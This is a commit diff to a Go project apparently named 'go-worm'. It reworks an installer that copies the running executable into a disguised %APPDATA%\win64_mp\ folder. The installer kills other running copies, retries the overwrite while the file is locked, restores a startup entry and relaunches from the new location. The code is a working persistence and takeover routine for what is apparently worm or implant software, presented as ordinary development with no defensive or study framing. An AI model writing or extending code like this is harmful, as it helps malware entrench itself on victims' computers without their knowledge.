fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test

lib/install/install.go

@@ -6,12 +6,21 @@ import (
 	"os"
 	"path/filepath"
 	"strings"
+	"time"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/instance"
+	"tea.chunkbyte.com/kato/go-worm/lib/startup"
 )
 
+const replaceWait = 8 * time.Second
+
 // Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
 // refreshes an existing startup entry to that path, and re-launches from there.
+// If an older agent is already installed or listening, it is torn down first.
+// Old builds have no version field to compare, so any launch from outside
+// the install path takes over.
 func Ensure() error {
 	target, err := config.InstalledExe()
 	if err != nil {
@@ -34,19 +43,47 @@ func Ensure() error {
 		return nil
 	}
 
-	if err := copyExe(current, target); err != nil {
-		if _, statErr := os.Stat(target); statErr != nil {
-			return fmt.Errorf("copy to %s: %w", target, err)
+	hadStartup := startup.Enabled()
+	takeover(target)
+	if err := replaceExe(current, target); err != nil {
+		return fmt.Errorf("copy to %s: %w", target, err)
+	}
+	if hadStartup {
+		if err := startup.Enable(); err != nil {
+			helpers.Log.Printf("takeover: restore startup: %v", err)
 		}
 	}
 
-	if err := syncStartup(); err != nil {
-		return fmt.Errorf("update startup path: %w", err)
-	}
-
 	return relaunchInstalled(target)
 }
 
+func takeover(installed string) {
+	helpers.Log.Printf("takeover: replacing %s", installed)
+	if err := startup.Disable(); err != nil {
+		helpers.Log.Printf("takeover: disable old startup: %v", err)
+	}
+	if err := instance.KillOtherAgents(); err != nil {
+		helpers.Log.Printf("takeover: kill: %v", err)
+	}
+}
+
+func replaceExe(from, to string) error {
+	deadline := time.Now().Add(replaceWait)
+	var last error
+	for {
+		_ = instance.KillOtherAgents()
+		_ = os.Remove(to)
+		last = copyExe(from, to)
+		if last == nil {
+			return nil
+		}
+		if time.Now().After(deadline) {
+			return last
+		}
+		time.Sleep(100 * time.Millisecond)
+	}
+}
+
 func copyExe(from, to string) error {
 	if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
 		return err